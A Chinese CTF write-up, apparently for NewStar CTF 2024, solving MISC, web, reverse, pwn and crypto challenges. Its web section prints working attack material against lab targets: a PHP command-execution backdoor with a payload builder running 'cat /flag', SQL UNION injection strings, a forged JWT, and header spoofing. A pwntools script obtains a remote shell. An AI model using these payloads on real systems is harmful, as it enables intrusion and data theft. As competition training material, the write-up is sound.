MISC

WhereIsFlag

才。。。才不会告诉你我把flag藏在哪里了!

【难度:简单】

不告诉我们就自己找呗,尝试用find / -iname "flag",但是说无法识别,同时在开始告诉我们了只能用lscdcat

寻找/tmp/home/teriri/home/guest均发现假的flag

然后把目标转向proc,可以从/proc/self/environ找到flag

Labyrinth

听好了:9月23日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。

你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。

至此,一锤定音。

尘埃,已然落定。

#newstar# #LSB# #听好了#

【难度:简单】

这题已经告诉我们是LSB隐写了,直接拿脚本过来用,但是发现解压不出来有意义的东西

丢进StegSolve里面,逐个层看,发现在Red Plane 0有个二维码

扫出来得到flag:flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

decompress

正在失传的技艺之压缩包解压

注:由于平台对flag的长度限制,请把解压的结果再计算32位小写md5后包上flag{}提交

【难度:签到】

附件下载下来是分卷压缩文件,解压就行了,然后按照题目要求md5计算一下

pleasingMusic

一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)

【难度:签到】

用Audacity打开可以看到很明显的摩斯电码特征,给弄出来,结果为. ..- --- .-.- -.--.. . ... .-. --- -- -.--.. ..-- .,翻译出来是EUOESROME,交上去不对

按照题目的意思,我们还可以反着来,反着来结果为. --.. ..--.- -- --- .-. ... . ..--.- -.-. --- -.. .,结果为EZ_MORSE_CODE,改成全小写并包裹flag,得到flag{ez_morse_code},交上去就得分了

兑换码

领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。

【难度:简单】

原神,启动!

一开始这个题目写在png的下面,想的是长宽修改,而且把文件用pngcheck一下发现CRC不对

然后写个脚本去爆破宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import zlib

# 目标CRC值
target_crc = 0x1C204ACF

# IHDR块中除去宽度和高度之外的部分
# 假设 IHDR 中其它字段固定为这些值(颜色类型:RGB+alpha,8位深度,无压缩,无过滤)
ihdr_fixed_data = bytes([0x08, 0x06, 0x00, 0x00, 0x00])

# 生成完整的 IHDR 数据并计算 CRC
def calculate_crc(width, height):
# 将宽度和高度转换为 4 字节(大端序)
ihdr_data = width.to_bytes(4, 'big') + height.to_bytes(4, 'big') + ihdr_fixed_data
# 计算包含 "IHDR" 的 CRC 校验值
return zlib.crc32(b'IHDR' + ihdr_data) & 0xFFFFFFFF

# 爆破宽度和高度
def brute_force_crc():
for width in range(1, 5000): # 设置宽度的范围
for height in range(1, 5000): # 设置高度的范围
crc = calculate_crc(width, height)
if crc == target_crc:
print(f"找到匹配的宽度和高度: 宽度={width}, 高度={height}")
return width, height
return -1, -1


# 开始爆破
brute_force_crc()

跑出来结果是2560*1267,换成十六进制是0xA00 * 0x4E9,去010Editor里面改一下图片的宽高(图示黄色的那个E9

就可以得到flag了,为flag{La_vaguelette}

WEB

headach3

头疼,帮我治治

【难度:签到】

提示很明显,让我们看相应标头(HEAD),就能够找到了

会赢吗

什么是控制台?js又是什么

本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

入学啦!

你考入了咒术高专
但是出门前你因为太兴奋而忘记了带录取通知书
你能找到录取通知书吗?

在开发者工具里面就能在注释里面找到入口了

掌握术式

开学第一课
五条老师传授给你们一种名为javascript的术式,这种术式可以在控制台进行一系列的应用
你能掌握js的用法吗?

在控制台可以发现js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

用Hackbar来发起POST请求,就可以得到我们的这部分flag了

第二种做法

在html中修改按钮的属性,加上一个onclick="revealFlag('4cqu1siti0n')"再点一下就行了

被封印了

走不出的三年,走不出的苦夏
被羂索控制的夏油杰使用狱门疆封印了五条悟
你能救出五条老师吗?

打开控制台,还是能看到js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');

form.addEventListener('submit', async function (event) {
event.preventDefault();


if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});

if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});

这个csrf_token在上面一点点可以找到

1
2
3
4
<form id="seal_him" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">解封!!!</button>
</form>

还是用Hackbar来POST就行了

会赢吗?

会赢吗?
现代最强的归来,五条悟的复活宣言!
绝对的强者,由此而生的孤独,教会你爱的是….

还是可以找到相应的代码

1
2
3
4
<form id="winForm" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">会赢的!</button>
</form>

但是在下面的js代码中禁用了submit操作

1
2
3
4
5
6
7
8
9
10
11
12
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});

(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();

所以还是掏出Hackbar

最后得到flag为ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9,显然编码过,base64解码出来是flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢

【难度:中等】

这道题,robots提示robots.txt,所以先进robots.txt看看

可以看到有个backd0or.php,访问一下,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key); // $decoded_key为key的md5计算值
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i]; // 使命令反向
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

这里要成功执行命令有两个点

  • 需要执行的命令放在cmd中,且需要用base64编码一次
  • 需要执行的命令的base64反向(即lsbHM=变成=MHb)的md5哈希值再base64编码后放在key里面

这里先尝试跑一个lsls经过b64编码为bHM=,然后再跑一个ls的b64逆向后md5再b64编码,结果为N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=,发现ls命令可以正常执行

所以我们现在要开始找flag的位置,先构建shell命令find / -iname "flag",所以cmd传入为ZmluZCAvIC1pbmFtZSAiZmxhZyI=

再把上面这个b64编码结果反向一下后md5再b64,得到MWQ4M2Y1MmNhMDk1ZjYwNGVhY2IwOGNjZDRmZWRhOTM=

运行后可以发现flag在/flag

再用同样的方式,执行的命令为cat /flag,b64编码后为Y2F0IC9mbGFn,key编码后为ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

附上POC构造脚本

1
2
3
4
5
6
7
8
9
10
import hashlib
import base64

command = "cat /flag"

cmd = base64.b64encode(command.encode())
key = base64.b64encode(hashlib.md5(cmd[::-1]).hexdigest().encode())

poc = f"cmd={cmd.decode()}&key={key.decode()}"
print(poc)

得到flag

谢谢皮蛋

让我皮蛋看看Flag都藏哪了

【难度:困难】

这题谁出的呀太搞了hhhhhhhhh

Cypher: Where is everyone hiding???

Wingman: Pew pew~

在控制台中可以看到注释给了提示

提示里面告诉我们了解一下联合注入,我尝试了一下id=base64(1 UNION SELECT TABLE_NAME, TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = database(); --)(注:本文中base64()指用base64方式编码内部字符)

然后会发现返回了保安的位置,但是我要查询的数据库内的表格没出来

所以我估计是虽然我注释掉了LIMIT,但是PHP里面只接受一组结果,所以得让前面的查询无返回

经过我测试得知,id=1可以得到保安的位置,id=4可以得到奶妈的位置,所以避开这两个数字就行了

然后传入id=base64(10 UNION SELECT TABLE_NAME, TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = database(); --),可以得到结果

Name: “Fl4g”
Position: “Fl4g”

接着就是查询这个表中的列,传入id=base64(10 UNION SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR ", "), GROUP_CONCAT(COLUMN_NAME SEPARATOR ", ") AS combined_info FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = "Fl4g" --)后,可以得到Fl4g表格中拥有iddesvalue

Name: “id, des, value”
Position: “id, des, value”

然后我们再去查询desvalue,传入id=base64(10 UNION SELECT des, value FROM Fl4g --),得到最终的结果

Name: “C0ngratu1ati0ns!”
Position: “flag{36218e97-ec08-4b21-80c8-50ddfca4f026}”

PangBai 过家家(1)

今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:中等】

这题的截图中的IP地址和端口会不一样,因为我后面重开容器了,主要是因为UA那一关没过,当时没搞出来是什么问题,后来发现是我在学校多设备上网在Openwrt里面改了UA,所以会一直导致不过

Level 1: 初出茅庐

教育孩子的第一步,就是学会如何倾听他们的声音。

PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。

按下F12可以看到响应头里面有个location,就可以进入Level2了

Level 2: 云程发轫

有时主动的沟通,胜如缜密的推理。
正确的沟通会使事物朝着顺心的方向发展。

向 PangBai 询问(Query)一下(ask=miao)吧 ~

这里要我们传入query值,我们在网址后面加上?ask=miao

Level 3: 探赜索隐

理解是深入的途径,将心比心是有效沟通的方法论。
与孩子沟通的方式并不唯一,先入后导,顺其者自然。

用另一种方法(Method)打声招呼(say=hello)吧 ~

意思是用POST方法传入say=hello,用Hackbar就能搞定

Level 4: 不悱不发

不愤不启,不悱不发。因势利导,顺势而为。

你需要使用正确的方法(Method)来与 PangBai 沟通。

这里说我们要用正确的方法沟通,尝试最常用的GETPOST,发现POST是对的

然后告诉我们User-Agent要是Papa/1.1,所以我们改下UA。

Level 5: 渐入佳境

发现症结,直面矛盾。实事求是,平心相待。

PangBai 依然对你比较警惕,因此「玛卡巴卡阿卡哇卡米卡玛卡呣」或许是不可省略的。

这里以为有个302设置cookie的过程,所以会弹回去GET请求,我们用工具再改成POST请求

然后告诉我们要用PATCH方法提交一个补丁包,因为在yakit和burpsuite我没找到怎么发送patch请求,然后我用了Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://8.147.132.32:36002/?ask=miao"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5",
"Connection": "keep-alive",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.iHo5yUb8pak_0HbVHMt8yCzWsm5qBsq0573VWH2ElCk; Max-Age=86400; Path=/",
"Dnt": "1",
"Referer": "http://8.147.132.32:36002/?ask=miao",
"User-Agent": "Papa/1.0",
}

files = {"file": ("filename.zip", open("empty.zip", "rb"))}

data = {"say": "玛卡巴卡阿卡哇卡米卡玛卡呣"}

session = requests.Session()

response = session.patch(url, headers=headers, files=files, data=data)

print("html: ", response.text)
print(session.cookies)

这里的empty.zip是我随便新建的一个空的压缩文件,上传上去就有了,然后可以得到token

Level 6: 一方通行

「君子素其位而行,不愿乎其外。」
——《中庸·第十四章》

还在等什么?距离成为 PangBai 的亲人(localhost)只有一步之遥了呢!
这里的前方是一方通行啊!Level 6 可不是容易的!

提示我们要来自localhost,所以改X-Forwarded-For,可以通过

你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。
「像■■■■验体■■不可能■■■■ JWT 这种■■ Kjbikdq4AKSIwzT4 ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」
「……」

我们得到了个密钥为Kjbikdq4AKSIwzT4,也提示我们是JWT了,我们拿去验证一下,发现可以通过

然后我就修改了level后面的值为7,得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6N30.NrNzsxizJ8-EX3YYl93lJWWZ_8YvxBHGH17J4QC3Cd4,放进cookie里发现没有第七关

然后改了个0,出来了……

Level 0: 此心安处是吾乡

平凡的普通人,是世界的基调。无数平凡的人们,书写了波澜壮阔的历史。

「我将无我,不负人民。」

「PangBai!危险!PangBai!!PangBai!!!」从梦中醒来

在浏览器打开的时候,从梦中醒来这几个字可以点,然后就进入了剧情……

REVERSE

base64

仍然是base64

【难度:简单】

通过xdbg动态调试可以发现里面的一些字符串

上面的应该是提示,下面的这部分是在输入flag后进行比较的部分,但是经过动态调试,它用于比较的值并不是我们输入的flag经过b64编码,而是固定为j4AvAcBkn6LduUAkhDBd5YBDI2ATc=

经过字符串查找我们现在有两段可能有用的内容

  • WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/
  • g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=

还有一段固定比较的内容

  • j4AvAcBkn6LduUAkhDBd5YBDI2ATc=

其中,第一段内容前面应该是Why do this table look strange,应该是提示我们换表了

我在这里先尝试把表弄出来,进行了几个字符串的编码,在汇编中还可以看到对flag进行b64编码后换表的操作前要求我们输入的长度为26

所以我分别用abcdefghijklmnopqrstuvwxyz12345678901234567890123456qwertyuiopasdfghjklzxcvbnm!@#$%^&*()!@#$%^&*()!@#$%^1/2*3-4+5/6*7-8+9-/0/00000进行base64编码和丢进这个程序里进行编码,得到了下面的几个字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
original_strings = [
"YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo=",
"MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY=",
"cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0=",
"IUAjJCVeJiooKSFAIyQlXiYqKCkhQCMkJV4=",
"MS8yKjMtNCs1LzYqNy04KzktLzAvMDAwMDA="
]

mapped_strings = [
"nrivgst8gYGKe8mj+r2zCT3MC6O9Z1ZqfaN=",
"AkhDBd5YBDI2AdoMADl9BvCqLkW4AvAcBkn=",
"CaZpC1O2ZrpzCs3Dgsg1esKb+TKqn6gR+8c=",
"h5WviytfiRNNS03WhMlpaRnQSyuGlyAuitq=",
"A0FMSvAmByj97DnQBMcqSDum7DWzAdWUAdW="
]

然后通过Python算一下映射关系,得到映射关系如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Y: n
W: r
J: i
j: v
Z: g
G: s
V: t
m: 8
2: Y
h: G
p: K
a: e
t: m
s: j
b: +
5: 2
v: z
c: C
H: T
F: 3
y: M
3: 6
R: O
1: 9
d: Z
n: 1
4: q
e: f
X: a
o: N
=: =
M: A
T: k
I: h
z: D
N: B
D: d
U: 5
g: I
E: o
Q: l
O: L
A: W
x: 4
0: c
l: p
r: b
i: R
C: y
K: S
S: 0
q: Q
k: u
8: F
L: 7
w: U

然后就可以通过Python写代码映射并解码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import base64

mapping = {
'Y': 'n',
'W': 'r',
'J': 'i',
'j': 'v',
'Z': 'g',
'G': 's',
'V': 't',
'm': '8',
'2': 'Y',
'h': 'G',
'p': 'K',
'a': 'e',
't': 'm',
's': 'j',
'b': '+',
'5': '2',
'v': 'z',
'c': 'C',
'H': 'T',
'F': '3',
'y': 'M',
'3': '6',
'R': 'O',
'1': '9',
'd': 'Z',
'n': '1',
'4': 'q',
'e': 'f',
'X': 'a',
'o': 'N',
'=': '=',
'M': 'A',
'T': 'k',
'I': 'h',
'z': 'D',
'N': 'B',
'D': 'd',
'U': '5',
'g': 'I',
'E': 'o',
'Q': 'l',
'O': 'L',
'A': 'W',
'x': '4',
'0': 'c',
'l': 'p',
'r': 'b',
'i': 'R',
'C': 'y',
'K': 'S',
'S': '0',
'q': 'Q',
'k': 'u',
'8': 'F',
'L': '7',
'w': 'U'
}

# 逆映射
inverse_mapping = {v: k for k, v in mapping.items()}

# 题目提供的字符串
b64_mapped = "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="

# 进行逆映射
reversed_string = ''.join(inverse_mapping.get(char, char) for char in b64_mapped)

# 进行 Base64 解码
decoded_bytes = base64.b64decode(reversed_string)
decoded_string = decoded_bytes.decode('utf-8')

# 输出结果
print(decoded_string)

然后跑出来结果是flag{y0uUkn0w\base64Uwell},很奇怪,CTF题目分割字符的时候用的是下划线,这里有U\,我想到应该是我的映射关系建立得不完全,手动把U\改为下划线变成flag{y0u_kn0w_base64_well}后提交,成功!

begin

什么是IDA?

【难度:签到】

描述提示我们用IDA打开,按下F5后会看到这个main函数里给了很多提示

第一部分

在Hex-view视图中,我们可以看到第一部分flag的内容为flag{Mak3_aN_

按照题目给的提示,我们在IDA-View里面按下A也能够直接转换出来

第二部分

按照题目提示,我们按下Shift+F12转换到Strings视图就可以看到了,为3Ff0rt_tO_5eArcH_

第三部分

题目说按下X键,但其实我是在IDA-View里面找到的,直接双击题目给我们提示第三部分的那一行,然后就能看到了,为F0r_th3_f14g_C0Rpse

所有最后结果为flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

ezAndroidStudy

这是什么?猫猫虫?

【难度:简单】

resources.arsc可以查到flag2和flag4的属性

1
2
<public type="string" name="flag2" id="0x7f12003a" />
<public type="raw" name="flag4" id="0x7f110000" />

第二段flag

找到/res/values/strings.xml搜索flag2可以得到flag2_@r4

第四段flag

找到res/raw下发现flag4.txt,得到flag4_andr01d

提示

然后在res/values/strings.xml里面发现提示

1
2
3
4
5
6
7
8
9
<string name="fab_transformation_sheet_behavior">com.google.android.material.transformation.FabTransformationSheetBehavior</string>
<string name="fifth">安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵</string>
<string name="fifth_fragment_label">Session5 : Native code</string>
<string name="first">一个 Activity 就是一个页面呢,每一次页面切换,就是 Activity 的切换。问题来了,我们怎么才能知道一个软件有哪些 Activity 呢?答案啊,是查找 AndroidManifest.xml 文件里的 Activity 标签呢,你能在 Activity 里找到第一段 flag 吗喵?</string>
<string name="first_fragment_label">Session1: Activity</string>
<string name="flag2">flag2: _@r4</string>
<string name="fourth">你知道吗?apk 中不用编译的资源(一下其他类型的文件)通常放在 /assets 目录和 /res/raw 目录下呢,你能找到第四段 flag 吗喵?(悄悄告诉你,这个比赛很容易考到呢)</string>
<string name="fourth_fragment_label">Session4: Raw Res</string>

第一段flag

AndroidManifest.xml里面,我们可以看到第一个定义的activity

1
<activity android:theme="@style/Theme.EzAndroidStudy" android:icon="@drawable/ic" android:name="work.pangbai.ezandroidstudy.MainActivity" android:exported="true">

通过翻Activity清单,可以看到在Homo这个Activity下面有个flag1,可以得到第一段flag为flag{Y0u

第三段flag

strings.xml的底部发现第三段flag的提示

1
2
<string name="third">layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity 的大体布局,你能找到布局里藏起来的 flag 吗喵?</string>
<string name="third_fragment_label">Session3: Layout</string>

让我们去翻layout,然后在/res/layout/activity_main.xml找到第三段flag为_900d

第五段flag

第五段flag告诉我们要去逆向.so文件,apk里面有两个.so文件,想着先从小的那个开始,代码量没那么大

libezandroidstudy.so里面,可以找到函数Java_work_pangbai_ezandroidstudy_MainActivity_getflag5,在底下能够看到flag5为_r4V4rs4r}

合并flag

flag合起来就变成了flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

Simple_encryption

一眼秒的算法

【难度:简单】

透过IDA我们可以看到算法具体如下

则有输入字符 input[j] 的计算方式为:

  • 如果 j % 3 == 0input[j] = buffer[k] + 31
  • 如果 j % 3 == 1input[j] = buffer[k] - 41
  • 如果 j % 3 == 2input[j] = buffer[k] ^ 0x55

双击伪代码里的buffer,可以得到它的值

于是可以写出解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
buffer = [
0x47,
0x95,
0x34,
0x48,
0xA4,
0x1C,
0x35,
0x88,
0x64,
0x16,
0x88,
7,
0x14,
0x6A,
0x39,
0x12,
0xA2,
0x0A,
0x37,
0x5C,
7,
0x5A,
0x56,
0x60,
0x12,
0x76,
0x25,
0x12,
0x8E,
0x28,
]
input_chars = []

for j in range(len(buffer)):
if j % 3 == 0:
input_chars.append(buffer[j] + 31)
elif j % 3 == 1:
input_chars.append(buffer[j] - 41)
elif j % 3 == 2:
input_chars.append(buffer[j] ^ 0x55)

# 转换为字符
input_string = "".join(chr(c) for c in input_chars)
print(input_string)

运行得到flag

ez_debug

动态调试(可能xdbg会更简单哦)

【难度:简单】

题目告诉我们用xdbg调试,就试试呗(反正没用过)

我先 右键->搜索->所有模块->字符串 看看能不能找到什么东西,但是找不到,只能看到一些可阅读的有意义的东西,所以我咋这些地方按下了F2设置了一下breakpoint

然后不断步进,在输入了flag后,可以看到调用了0x401D2A的Decrypted flag,在这个周围可以看到flag为flag{y0u_ar3_g0od_@_Debu9}

PWN

Real login

通过IDA查看附件的文件,在func函数里面可以直接看到密码

所以nc一下容器,直接输入密码就可以得到shell了

Game

不会连最简单的加法都不会吧

【难度:签到】

使用IDA反编译可以看到返回shell的条件是v1的值大于999,而我们每次输入的值要在0-10之间才能继续输入

所以写一个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

io = remote("8.147.128.74", 45354)

# 等待服务器的初始输出
io.recvuntil(b"pls input you num:")

# 初始化输入的数字和
total = 0

# 循环直到总和大于999
while 1:
try:
print(total)
# 等待服务器提示
io.recvuntil(b"pls input you num:", timeout=5)
# 继续输入10
io.sendline(b'10')
total += 10
if total > 999:
io.interactive()
except EOFError:
# 切换到交互模式
io.interactive()

然后ls一下发现flag就在当前目录,给cat出来就有了

CRYPTO

Base

This is a base question!

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

【难度:签到】

都说了是Base,但是没有Base的特征,看到尾巴3D连续,应该是十六进制码,先16进制转出来,发现是四个等号,猜Base32,还没出结果,再试试Base64,结束战斗,flag为flag{B@sE_0f_CrYpt0_N0W}

xor

如果再来一次的话,就能回到从前,一切都会好起来的

【难度:签到】

xor就是异或嘛,异或的性质就是a^b=c, a^c=b, b^c=a这样的,所以可以逆着回去,这里题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)

'''
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
'''

可以得知c1异或的对象为New_Star_CTF编码后转成long数,且m1包含flag的前半部分,m2包含flag的后半部分

所以写一个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import xor
from Crypto.Util.number import long_to_bytes, bytes_to_long

# 已知数据
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'

m1 = long_to_bytes(c1 ^ bytes_to_long(key))
print("Part 1: ", m1)

m2 = xor(key, c2)
print("Part 2: ", m2)

flag = m1 + m2
print("flag: ", flag.decode('utf-8'))

就能够得到flag了

一眼秒了

n小小的也很可爱

【难度:简单】

提示我们n的值很小了,题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)

# 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
# 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

所以可以直接用计算机暴力破解,写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sympy import factorint
from Crypto.Util.number import long_to_bytes

# 已知数据
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537

# 因数分解 n
factors = factorint(n)

p, q = factors.keys()
print(f"p: {p}\nq: {q}")

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = pow(e, -1, phi_n)

# 解密
m = pow(c, d, n)

# 将长整型转换为字节
flag = long_to_bytes(m)
print("flag: ", flag.decode())

然后就能得到flag:flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}